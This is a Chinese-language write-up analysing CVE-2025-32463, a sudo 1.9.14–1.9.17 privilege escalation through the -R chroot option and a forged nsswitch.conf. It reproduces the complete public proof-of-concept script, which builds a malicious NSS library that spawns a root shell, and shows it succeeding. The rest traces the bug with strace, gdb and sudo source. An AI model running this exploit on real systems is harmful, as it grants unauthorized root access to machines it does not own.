CVE-2025-32463(Sudo 权限提升漏洞)分析

Table of Contents

1. 漏洞介绍

在 Sudo 1.9.14 ~ 1.9.17 版本范围里,通过 -R 参数可以指定一个 chroot 环境,在 chroot 过程中 Sudo 调用了 getgrouplist 一类函数,这些函数又会去调用 NSS 的相关函数,NSS 相关的函数会读取配置文件 /etc/nsswitch.conf,依据配置的来读取数据或加载 so 文件,这个漏洞出现在 chroot 到新环境后,可以控制 Sudo 去读取伪造的恶意的 nsswitch.conf 来加载 so 文件来获取 root 权限。

2. 背景知识

NSS(Name Service Switch)是 Glibc 中的一种机制,决定了查询用户、用户组、密码等信息的数据来源,通过 /etc/nsswitch.conf 文件来配置。Glibc 中有一部分函数需要依赖这些来源。

比如 nsswitch.conf 配置的 passwd:

$ grep passwd /etc/nsswitch.conf
passwd:         files systemd

说明读取顺序优先是从本地文件(/etc/passwd),接着是 Systemd 的用户管理机制。如果配置了 LDAP,可将配置修改为:

passwd:         files systemd ldap

作为一个简单的例子,以下 C 代码调用 getpwnam 获取指定用户的信息,观察下程序的工作流程:

#include <stdio.h>
#include <pwd.h>

int
main(void)
{
        struct passwd *pw = getpwnam("root");
        return 0;
}

编译,并用 strace 命令跟踪它的系统调用:

$ gcc test.c
$ strace --trace=openat ./a.out
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 3
+++ exited with 0 +++

如上输出,先是读取了 /etc/nsswitch.conf,根据配置文件内容,优先从本地文件系统中读取用户信息,所以,接下来从 /etc/passwd 开始读取。

现在我把 nsswitch.conf 中 passwd 项改成以下:

passwd:         hi files systemd

再次跟踪 a.out 的系统调用,在读取 nsswitch.conf 后,又寻找 libnss_hi.so:

openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=583, ...}) = 0
read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 583
read(3, "", 4096)                       = 0
fstat(3, {st_mode=S_IFREG|0644, st_size=583, ...}) = 0
close(3)                                = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=206818, ...}) = 0
mmap(NULL, 206818, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb3776c4000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/glibc-hwcaps/x86-64-v4/libnss_hi.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (没有那个文件或目录)
......

也就是配置项是“hi”,那就去尝试寻找并加载 libnss_hi.so。在公布的 PoC 中,有这么一段命令:

echo "passwd: /woot1337" > woot/etc/nsswitch.conf

这会尝试加载 libnss_/woot1337.so,这也是 PoC 中通往 root 的最后一步。

3. 环境配置+漏洞复现

从 Sudo 官网下载 1.9.14 的源码:https://www.sudo.ws/dist/sudo-1.9.14.tar.gz

编译:

./autogen.sh
./configure --prefix=$PWD/run
make -j$(nproc)

在运行 configure 脚本时,我指定了安装在当前目录的 run 子目录中,这方便做调试。编译完成后执行:

sudo make install

这里需要 sudo 成 root 权限来安装,因为编译后的 sudo 程序本身需要给上 root 身份才能正常工作。安装完成后检查是否能正常运行:

$ ./run/bin/sudo -V
Sudo 版本 1.9.14
Sudoers 策略插件版本 1.9.14
Sudoers 文件语法版本 50
Sudoers I/O plugin version 1.9.14
Sudoers audit plugin version 1.9.14

最后修改下公开的 PoC,把倒数第二行的 sudo 改成新编译后的绝对路径:

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
/tmp/sudo-1.9.14/run/bin/sudo -R woot woot # <--- 这里的 sudo 命令要换成新编译的
rm -rf ${STAGE?}

复现成功的样子:

$ sh sudo-chwoot.sh
woot!
root@:/#

4. 漏洞分析

根据漏洞信息得知问题是出现在调用 chroot() 之后,为了快速定位触发点,直接用 gdb 给 chroot() 打个断点,这里需要用 root 权限执行 gdb 才能保证新编译的 sudo 可以正常工作:

$ sudo gdb -q ./run/bin/sudo
Reading symbols from ./run/bin/sudo...
(gdb) b chroot                                                          <-- 给 chroot 函数打个断点
Breakpoint 1 at 0x66c0
(gdb) r -R hello hello                                                  <-- 加上 -R 参数运行新编译的 sudo
Breakpoint 1, __GI_chroot () at ../sysdeps/unix/syscall-template.S:120
(gdb) bt                                                                <-- 在断点处回溯栈
#0  __GI_chroot () at ../sysdeps/unix/syscall-template.S:120
#1  0x00007f54b127c940 in pivot_root (new_root=0x559d754cddfc "hello", fds=0x7ffcd44cdba0) at ./pivot.c:47
#2  0x00007f54b128604d in set_cmnd_path (runchroot=0x559d754cddfc "hello") at ./sudoers.c:1112
#3  0x00007f54b1286487 in set_cmnd () at ./sudoers.c:1189
#4  sudoers_check_common (pwflag=pwflag@entry=0) at ./sudoers.c:404
#5  0x00007f54b12879f7 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7ffcd44cf1f0, env_add=env_add@entry=0x0,
    closure=closure@entry=0x7ffcd44cdd00) at ./sudoers.c:689
#6  0x00007f54b127d360 in sudoers_policy_check (argc=1, argv=0x7ffcd44cf1f0, env_add=0x0, command_infop=0x7ffcd44cddd0, argv_out=0x7ffcd44cddd8,
    user_env_out=0x7ffcd44cdde0, errstr=0x7ffcd44cddf8) at ./policy.c:1205
#7  0x0000559d4e83f26b in policy_check (argc=1, argv=0x7ffcd44cf1f0, env_add=<optimized out>, command_info=0x7ffcd44cddd0,
    run_argv=0x7ffcd44cddd8, run_envp=0x7ffcd44cdde0) at ./sudo.c:1242
#8  main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at ./sudo.c:260

从打印的栈信息来看,chroot() 调用发生在 pivot_root(位于 pivot.c)函数中,pivot_root 会先保存旧根文件系统句柄,然后调用 chroot 切换到新的根文件系统:

bool
pivot_root(const char *new_root, int fds[2])
{
    debug_decl(pivot_root, SUDOERS_DEBUG_UTIL);

    fds[OLD_ROOT] = open("/", O_RDONLY);
    fds[OLD_CWD] = open(".", O_RDONLY);
    if (fds[OLD_ROOT] == -1 || fds[OLD_CWD] == -1 || chroot(new_root) == -1) {
        if (fds[OLD_ROOT] != -1) {
            close(fds[OLD_ROOT]);
            fds[OLD_ROOT] = -1;
        }
        if (fds[OLD_CWD] != -1) {
            close(fds[OLD_CWD]);
            fds[OLD_CWD] = -1;
        }
        debug_return_bool(false);
    }
    debug_return_bool(chdir("/") == 0);
}

而 pivot_root 是 set_cmnd_path(位于 sudoers.c)函数调用的:

int
set_cmnd_path(const char *runchroot)
{
    ...
    /* Pivot root. */
    if (runchroot != NULL) {
        if (!pivot_root(runchroot, pivot_fds))
            goto error;
    }
    ...
    /* Restore root. */
    if (runchroot != NULL)
        (void)unpivot_root(pivot_fds);
    ...
}

值得注意的是,set_cmnd_path 函数最后还会调用 unpivot_root 恢复到旧的根文件系统,也就是 NSS 函数调用发生在 pivot_root 和 unpivot_root 之间的位置,如果感兴趣的话,可以跟踪下系统调用,然后下断点观察栈回溯,这块不算是这个漏洞分析的重点,我就不细致记录了。重点是 chroot 后,可以欺骗 NSS 的函数去读恶意的 nsswitch.conf,并根据配置去加载指定的 so 文件,这也是整个 PoC 的重点:

1、编译出 libnss_/woot1337.so.2,这个 so 会执行 /bin/bash;

2、构造新的根路径环境,并配置 nsswitch.conf 去加载 libnss_/woot1337.so.2:

passwd: /woot1337

3、调用 chroot()。

5. 参考